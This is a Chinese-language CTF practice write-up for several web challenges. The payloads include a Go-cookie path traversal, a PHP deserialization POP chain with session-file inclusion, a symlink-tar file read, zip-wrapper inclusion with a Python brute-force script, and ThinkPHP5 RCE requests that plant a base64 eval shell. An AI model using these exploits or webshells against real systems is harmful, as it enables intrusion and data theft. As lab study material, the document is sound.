前言 年底了,巨忙。。。只能周末抽空看看练习题。以下是部分解题思路及复现思路。
gob 这个题目其实不算难,但是做了挺久的。。。
一开始是给了一个登录框,这里随便输入就可以登上去。再然后就是一个upload的接口,以及一个show的接口。upload这里尝试传文件上去,发现没有文件类型限制,任何文件都可以传上去,于是一开始直接传了一个shell过去,访问发现根本解析不了。然后传了个.htaccess,把png文件解析成php文件,发现还是不行。
然后就转到思路二,既然这个目录下解析不了,有没有可能往上穿越?upload那里抓包修改filename,改成filename="../shell.php"。然后访问可以发现文件确实上传到上一个目录了。访问还是解析不了,于是接着穿越,发现最多只能传到/upload下,依然解析不了。
思路三,既然给了一个上传的接口,并且任何形式的文件都可以上传,还给了一个show的接口,可以看到是把文件内容的base64编码展示出来。那么show是有一个读文件的操作,于是怀疑phar反序列化。但是这个需要源码啊,扫了半天没扫到。。。这个也放弃了
思路四,又仔细想了一下,为什么每次show的时候,都是最近上传的一个图片的内容,然后又观察了一下cookie,很像base64编码,于是尝试解码发现字符串很像序列化的格式:
这个看上去不像是php的序列化格式,拿给deepseek去分析下,发现是go的。
所以思路重新梳理一下,我在upload那里上传一个普通图片,然后抓包放包,然后再show那里再抓包,把cookie解码一下发现:
Q/+BAwEBBVVzZXJzAf+CAAEEAQhVc2VybmFtZQEMAAEIUGFzc3dvcmQBDAABCEZpbGVuYW1lAQwAAQRTaWduAQwAAAD/gP+CAQVhZG1pbgEGMTExMTExAUouL3VwbG9hZHMvYjdhZmQ5OGRiN2VmMjQzODE0OWEyNTJiN2EyOGFiNGUvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmxhZwEgZTYwZTlhOWNlY2M3ZjVlMjY5MTEzZjg2NzljZTMxZDYA对于解码的内容为:
可以猜测一下其实读取的filename值来源于cookie,但是这里的cookie不能直接伪造,试了几个go的序列化脚本发现都不对。那就沿用呗。
直接在upload那里重新上传抓包,修改filename="../../../../../../flag",上传显示文件以及存在,然后再去show的时候,可以发现直接把flag的值读出来了。。
eem代码审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php error_reporting (0 );session_start ();class eem { protected $hh ; public $ff ; public $gg ; function __construct ( ) { $this ->hh = new phpinfo; } function __toString ( ) { if (isset ($this ->hh)) return $this ->hh->exec (); } } class nb { public $filename ; public $class ; public $test ; function exec ( ) { $this ->class = unserialize ($this ->test ); $this ->class ->ff = $sth ; if ($this ->class ->ff === $this ->class ->gg ) { $_GET ['data' ] = "$this ->filename" ; if (include_once ($_GET ['data' ])) { return include_once ($_GET ['data' ]); } else { return "hack!" ; } } } } class phpinfo { function exec ( ) { return phpinfo (); } } if (isset ($_GET ['data' ])) { $data = str_replace (array ('file' ,'php' ), '' , $_GET ['data' ]); $data = unserialize ($data ); echo $data ; } else { highlight_file ("./index.php" ); } $user = $_POST ['user' ];$_SESSION ['user' ] = $user ;?>
有unserialize函数,也有session['user']=$user,然后还有 return include_once($_GET['data']),很明显是反序列化+session文件包含。
那么需要搞清楚
1.pop链怎么写
2.session文件在哪里?这里可以尝试默认的目录。一般我们是从phpinfo里面获取,然而 这里也给了 return phpinfo();。
所以没有什么弯弯绕绕,思路很清晰,先是想办法读phpinfo,拿到session文件路径,然后根据cookie,往session文件里面写shell,最后构造pop链触发包含即可。
一开始咋一看还没看出来怎么构造pop链,因为unserialize之后,没有destruct、wake_up这类魔法函数,不过巧合在
1 2 $data = unserialize($data); echo $data;
这两个组合再一起,就可以触发__toString 这个魔法函数了。
所以思路很简答,先构造链子读phpinfo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class eem { protected $hh ; public $ff ; public $gg ; function __construct ( ) { $this ->hh = new phpinfo; } } class phpinfo {} echo urlencode (serialize (new eem ()));?> 运行得到:O%3 A3%3 A%22 eem%22 %3 A3%3 A%7 Bs%3 A5%3 A%22 %00 %2 A%00 hh%22 %3 BO%3 A7%3 A%22 phpinfo%22 %3 A0%3 A%7 B%7 Ds%3 A2%3 A%22 ff%22 %3 BN%3 Bs%3 A2%3 A%22 gg%22 %3 BN%3 B%7 D
不过这里要注意: $data = str_replace(array('file','php'), '', $_GET['data']);会替换成空,所以我们直接双写绕过。
poc1:O%3A3%3A%22eem%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00hh%22%3BO%3A7%3A%22pphphpinfo%22%3A0%3A%7B%7Ds%3A2%3A%22ff%22%3BN%3Bs%3A2%3A%22gg%22%3BN%3B%7D
这里可以发现就是默认路径 /var/lib/php/sessions,所以这里路径确认了,接下来是怎么调用到 return include_once($_GET[data]);
一开始有点迷惑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class nb { public $filename ; public $class ; public $test ; function exec ( ) { $this ->class = unserialize ($this ->test ); $this ->class ->ff = $sth ; if ($this ->class ->ff === $this ->class ->gg ) { $_GET ['data' ] = "$this ->filename" ; if (include_once ($_GET ['data' ])) { return include_once ($_GET ['data' ]); } else { return "hack!" ; } } } }
我要能调用return include_once($_GET['data']);,必须得$this->class->ff === $this->class->gg,然后这里前面还有一个$this->class = unserialize($this->test),所以我在想nb类的test属性是不是得指向一个序列化字符串的类。那指向哪个类呢?另外还有一个$this->class-ff=$sth。
这里的$sth是不存在的,后面尝试了一下发现这些都是干扰项,我们可以本地测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class nb { public $filename ="123" ; public $class ; public $test ; function exec ( ) { $this ->class = unserialize ($this ->test ); $this ->class ->ff = $sth ; if ($this ->class ->ff === $this ->class ->gg ) { $_GET ['data' ] = "$this ->filename" ; if (include_once ($_GET ['data' ])) { echo "successfully!" ; } else { return "hack!" ; } } } } $a =new nb ();$a ->exec ();?> D:\phpstudy_pro\Extensions\php\php5.4.45 nts\php.exe D:\phpstudy_pro\WWW\poc.php Warning: Creating default object from empty value in D:\phpstudy_pro\WWW\poc.php on line 10 Warning: include_once (123 ): failed to open stream: No such file or directory in D:\phpstudy_pro\WWW\poc.php on line 14 Warning: include_once (): Failed opening '123' for inclusion (include_path='.;C:\php\pear' ) in D:\phpstudy_pro\WWW\poc.php on line 14 Process finished with exit code 0
可以看到有警告,但是include_once是被调用了的。所以我们只需要对filename赋值,让它指向对应session文件所在位置即可。同时我们也要利用
1 2 $user = $_POST['user']; $_SESSION['user'] = $user;
来产生session文件,里面的值又是我们可控的,会是字符串的一个序列化结果。
利用链POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class eem { protected $hh ; public $ff ; public $gg ; function __construct ( ) { $this ->hh = new nb (); } } class nb { public $filename ; public $class ; public $test ; function __construct ( ) { $this ->filename ="/var/lib/php/sessions/sess_0anrh6nhmd06rgsqms148s55i0" ; } } $a =new eem ();$a =urlencode (serialize ($a ));echo $a ;?> 得到O%3 A3%3 A%22 eem%22 %3 A3%3 A%7 Bs%3 A5%3 A%22 %00 %2 A%00 hh%22 %3 BO%3 A2%3 A%22 nb%22 %3 A3%3 A%7 Bs%3 A8%3 A%22 filename%22 %3 Bs%3 A53%3 A%22 %2 Fvar%2 Flib%2 Fphp%2 Fsessions%2 Fsess_0anrh6nhmd06rgsqms148s55i0%22 %3 Bs%3 A5%3 A%22 class %22 %3 BN%3 Bs%3 A4%3 A%22 test%22 %3 BN%3 B%7 Ds%3 A2%3 A%22 ff%22 %3 BN%3 Bs%3 A2%3 A%22 gg%22 %3 BN%3 B%7 D
同样的, php , file 要双写,最终的利用链poc:O%3A3%3A%22eem%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00hh%22%3BO%3A2%3A%22nb%22%3A3%3A%7Bs%3A8%3A%22ffileilename%22%3Bs%3A53%3A%22%2Fvar%2Flib%2Fpphphp%2Fsessions%2Fsess_0anrh6nhmd06rgsqms148s55i0%22%3Bs%3A5%3A%22class%22%3BN%3Bs%3A4%3A%22test%22%3BN%3B%7Ds%3A2%3A%22ff%22%3BN%3Bs%3A2%3A%22gg%22%3BN%3B%7D
在此之前,需要先post 传user 写个shell:
然后用get data传O%3A3%3A%22eem%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00hh%22%3BO%3A2%3A%22nb%22%3A3%3A%7Bs%3A8%3A%22ffileilename%22%3Bs%3A53%3A%22%2Fvar%2Flib%2Fpphphp%2Fsessions%2Fsess_0anrh6nhmd06rgsqms148s55i0%22%3Bs%3A5%3A%22class%22%3BN%3Bs%3A4%3A%22test%22%3BN%3B%7Ds%3A2%3A%22ff%22%3BN%3Bs%3A2%3A%22gg%22%3BN%3B%7D
可以发现成功包含了session文件。接下来直接上哥斯拉:
interesting web 环境存在问题,看了下wp,把知识点记录一下:
flask cookie伪造管理员身份、ln -s /etc/passwd 123.jpg 软连接 tar cvfp shellcode.tar 123.jpg curl xxxxx/download/123.jpg
image_up 环境太卡了,这个题目涉及爆破,估计是环境原因,没爆破出来。
一开始在login界面可以发现:
这种可能存在文件包含,可以尝试php://filter 来读源码,http://10.45.1.22/index.php?page=php://filter/convert.base64-encode/resource=login,base64解码一下并没有啥有用信息,于是随便账号密码输入一下,发现可以直接登录,然后接着读upload 源码:http://10.45.1.22/index.php?page=php://filter/convert.base64-encode/resource=uplaod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $error = "" ; $exts = array ("jpg" ,"png" ,"gif" ,"jpeg" ); if (!empty ($_FILES ["image" ])) { $temp = explode ("." , $_FILES ["image" ]["name" ]); $extension = end ($temp ); if ((@$_upfileS ["image" ]["size" ] < 102400 )) { if (in_array ($extension ,$exts )){ $path = "uploads/" .md5 ($temp [0 ].time ())."." .$extension ; move_uploaded_file ($_FILES ["image" ]["tmp_name" ], $path ); $error = "上传成功!" ; } else { $error = "上传失败!" ; } }else { $error = "文件过大,上传失败!" ; } } ?>
采用的白名单校验,但是这里的 $path = "uploads/".md5($temp[0].time()).".".$extension; 都是可控的。注意这里 time()返回的是个整数,这个可以本地php环境测试一下:
1 2 3 4 <?php $a =time ();echo $a ;
所以都可控,这里只让传jpg png gif jpeg ,于是 写一个一句话放到shellcode.php 然后压缩一下shellcode.zip,然后改下后缀,改成shellcode.jpg ,
我们把这个上传,然后用zip协议去读,刚好题目的环境是可以拼接php的。
所以先把文件传上去,并爆破出文件路径:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import timeimport requestsimport hashliburl = "http://10.45.1.22/" def md5 (str ): str =str .encode('utf-8' ) m = hashlib.md5() m.update(str ) return m.hexdigest() files = { "image" : ("shellcode.jpg" , open ("shellcode.jpg" , "rb" )) } t = int (time.time()) requests.post(url=url + "index.php?page=upload" , files=files) for i in range (t - 100 , t + 100 ): path = "uploads/" + md5("shellcode" + str (i)) + ".jpg" status = requests.get(url=url + path).status_code if status == 200 : print (path) break
但是很可惜没爆破出来,估计是环境太卡的原因。
假设爆破出来的格式为:uploads/0d613371c53db3f0698d66fed54139f9.jpg,那么就是http://10.45.1.22/uploads/0d613371c53db3f0698d66fed54139f9.jpg
我们直接伪协议来读http://10.45.1.22/index.php?page=zip://./uploads/0d613371c53db3f0698d66fed54139f9.jpg%23shellcode,这样可以直接包含shell了。
easy_pentest 没复现成功。
通过 日志文件找到key来绕过第一层, 后面就是tp5的rce变种。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /public/index.php?s=captcha&safe_key=easy_pentesnt_is_s0fun HTTP/1.1 Host : 10.45.1.25Content-Length : 122Cache-Control : max-age=0Origin : http://10.45.1.25Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://10.45.1.25/public/index.php?safe_key=easy_pentesnt_is_s0funAccept-Encoding : gzip, deflateAccept-Language : en,zh-CN;q=0.9,zh;q=0.8Cookie : PHPSESSID=tttConnection : close_method=__construct&filter[]=think\Session::set &method =get &get []=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8 %2bab &server []=1
往session文件里面写base64编码的shell。多加了几个字符原理和绕过死亡exit一样。
接着就是getshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /public/index.php?s=captcha&safe_key=easy_pentesnt_is_s0fun&r=dmFyX2R1bXAoc2NhbmRpcigiL2hvbWUiKSk7 HTTP/1.1 Host : 10.45.1.25Content-Length : 178Cache-Control : max-age=0Origin : http://10.45.1.25Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://10.45.1.25/public/index.php?safe_key=easy_pentesnt_is_s0funAccept-Encoding : gzip, deflateAccept-Language : en,zh-CN;q=0.9,zh;q=0.8Cookie : PHPSESSID=tttConnection : close_method=__construct&filter[]=strrev&filter[]=think\__include_file&method =get &server []=1&get []=ttt_sses /pmet /emitnur /lmth /www /rav /=ecruoser /edoced -46esab .trevnoc =daer /retlif //:php